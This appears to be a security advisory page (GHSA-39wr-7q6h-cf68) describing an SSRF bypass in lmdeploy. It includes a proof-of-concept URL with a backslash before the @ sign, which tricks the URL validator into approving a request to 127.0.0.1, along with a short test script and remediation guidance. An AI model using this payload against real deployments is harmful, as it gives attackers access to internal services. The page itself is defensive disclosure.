GHSA-39wr-7q6h-cf68: SSRF

Published Sep 18, 2026
·
Updated

Summary The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details The current lmdeploy project uses issafeurl to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. <img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" /> However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using issafeurl for URL validation, and then using requests.Session().get to send the request. <img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" /> The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

- urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public) - requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code. from urllib.parse import urlparse import ipaddress import socket import requests

def issafeurl(url: str) -> tuple[bool, str]: """Check if the URL is safe to fetch (not internal/private).""" try: parsed = urlparse(url) if parsed.scheme not in ("http", "https"): return False, f"Unsupported scheme: {parsed.scheme}"

hostname = parsed.hostname if not hostname: return False, "Could not parse hostname from URL"

# check all IPs (IPv4 + IPv6) using getaddrinfo try: infos = socket.getaddrinfo(hostname, None) except socket.gaierror: return False, "Hostname resolution failed"

for info in infos: ip = ipaddress.ipaddress(info[4][0]) # block any IP that is not globally routable (covers private, loopback, # link-local, multicast, reserved, unspecified, etc.) if not ip.isglobal: return False, f"Blocked non-global IP detected: {ip}"

return True, "URL is safe" except Exception as e: return False, f"URL validation failed: {str(e)}"

url = "http://127.0.0.1:6666" url = "http://127.0.0.1:6666\@1.1.1.1" issafe, reason = issafeurl(url) if not issafe: raise ValueError(f"URL is blocked for security reasons: {reason}")

fetchtimeout = 10

client = requests.Session() client.maxredirects = 3 response = client.get(url, timeout=fetchtimeout, allowredirects=True) When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. <img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" /> However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.

<img width="2064" height="154" alt="QQ20260416-204319-16-4" src="https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02" />

PoC http://127.0.0.1:6666\@1.1.1.1

Impact SSRF

Affected Software

1 affected componentFixes available
pip/lmdeploy>=0.12.3<0.15.0
0.15.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/lmdeploy to a version that resolves this vulnerability.

    Fixed in 0.15.0

Event History

Sep 18, 2026
Advisory Published
via GitHub·05:14 PM
Data Sourced
via GitHub·05:14 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Deployments are exposed where lmdeploy validates an attacker-influenced URL with _is_safe_url and then fetches it using requests.Session().get. The issue affects URL-processing paths that rely on this validation to prevent access to internal resources.

2

What does an attacker need to exploit it?

An attacker needs to be able to supply a URL that the application will validate and request. They can use a parsing discrepancy involving a backslash before an @ character so validation sees a public host while requests resolves the request to a different host, such as an internal address.

3

What should be reviewed if patching cannot happen immediately?

Identify application flows that pass user-controlled URLs through _is_safe_url before calling requests.Session().get, and restrict or disable those fetch paths where possible. Network egress controls that prevent the lmdeploy service from reaching internal or sensitive endpoints can reduce SSRF impact.

4

How can teams determine whether their code contains the vulnerable pattern?

Review lmdeploy integrations for uses of _is_safe_url followed by requests.Session().get on the same input. Test validation and request handling with URLs containing a backslash and @ delimiter, such as the example described in the advisory, only in an authorized test environment.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203